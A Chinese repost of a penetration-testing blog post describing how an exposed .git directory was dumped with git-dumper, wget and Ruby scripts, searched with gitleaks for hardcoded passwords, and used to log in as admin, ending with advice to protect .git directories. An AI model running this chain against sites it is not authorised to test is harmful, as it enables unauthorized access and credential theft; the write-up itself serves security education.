每次渗透测试都从侦察开始,我的初始步骤总是涉及寻找可能有趣的端点。在一次交战中,我遇到了一个暴露的 .git 端点,我将讨论如何利用它来获得对应用程序的管理员级访问权限。
发现
在运行feroxbuster进行内容发现时,我发现应用程序上有一个 .git 端点。这暴露了几个文件,但更重要的是,它暴露了 /objects 文件夹。此文件夹可能会泄露包含凭据、机密和其他敏感信息的源代码。此外,检查或扫描代码可能会发现更多漏洞,我们将在后面讨论。
漏洞利用
我使用git-dumper提取 /objects 目录的内容,并将输出保存到文件中。但是,此过程仅检索每个对象的 URL,而不是实际的对象文件。
git-dumper http://website.com/.git ~/website >> file.txt
输出文件包含一些乱码,我必须将其过滤掉,才能创建一个仅包含下一步所用 URL 的干净文件。
sed ‘s/.*(https://.*)/1/’ file.txt >> clean_file.txt
此后,我创建了一个 bash 脚本来访问文件中的所有 URL 并将对象下载到文件夹中。
#!/bin/bash
# Directory to save the downloaded files
DOWNLOAD_DIR="objects"
# File containing the URLs
URLS_FILE="clean_file.txt"
# Create the directory if it does not exist
mkdir -p "$DOWNLOAD_DIR"
# Read each URL from the file and download the file
while IFS= read -r url; do
echo "Downloading from $url"
# wget to download the file from the URL
wget "$url" -P "$DOWNLOAD_DIR/"
done < "$URLS_FILE"
echo "Download completed."
要以纯文本形式读取内容,首先需要解压缩。我使用 Ruby 来解压缩对象。
ruby -rzlib -e
'print Zlib::Inflate.new.inflate(STDIN.read)'
<
object
单独读取数百个文件需要很长时间。因此,下载对象后,我编写了另一个脚本来访问文件夹中的每个文件,使用 Ruby 解压缩对象,并将明文表示保存到不同的文件中以供日后使用。
# Directory with the files to process
INPUT_DIR=
"objects"
# Output file base name
OUTPUT_BASE=
"code"
# Counter for output file naming
count=1
# Process each file in the directory
for
file
in
"
$INPUT_DIR
"
/*;
do
if
[[ -f
$file
]];
then
# Apply the Ruby command to the file and save the output
ruby -rzlib -e
'print Zlib::Inflate.new.inflate(STDIN.read)'
<
"
$file
"
>
"
${OUTPUT_BASE}
${count}
"
# Increment the file counter
((count++))
fi
done
echo
"Processing completed."
现在我已经将所有对象保存在明文文件中,我使用gitleaks来搜索硬编码的凭证和秘密。
gitleaks
detect --source=
'<location of the directory>'
--
no
-git -v
果然,几秒钟之内就得到了结果,找到了两个密码。
我没有用户名和密码,但我猜测“admin”可能有效。使用用户名“admin”的密码可以以管理员身份访问应用程序,从而破坏应用程序。
下一步是什么?
由于可以访问包含应用程序源代码的数百个文件,我可以手动阅读代码以查找其他漏洞。但是,这会花费大量时间。作为一种更快的解决方案,我使用了 VS Code 中的 Snyk 扩展(在此处阅读有关该扩展的更多信息)来自动扫描潜在漏洞。
结束语
在这篇博文中,我们探讨了暴露的 .git 目录如何导致重大安全漏洞。通过使用 feroxbuster、git-dumper、gitleaks 和一些 bash 脚本等工具,我们演示了如何从应用程序的源代码中提取敏感信息(例如硬编码凭据),这使我们能够获得对应用程序的管理员级访问权限。关键点是保护 .git 目录的重要性,并定期扫描代码库以查找漏洞和机密,以帮助防止此类泄露。
https:
/
/medium.com/
@cybersekler/git-gone-wrong-application-compromise-via-exposed-git-directory-
392806
b23435
原文始发于微信公众号(Ots安全):Git 出错:通过暴露 .git 目录入侵应用程序
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论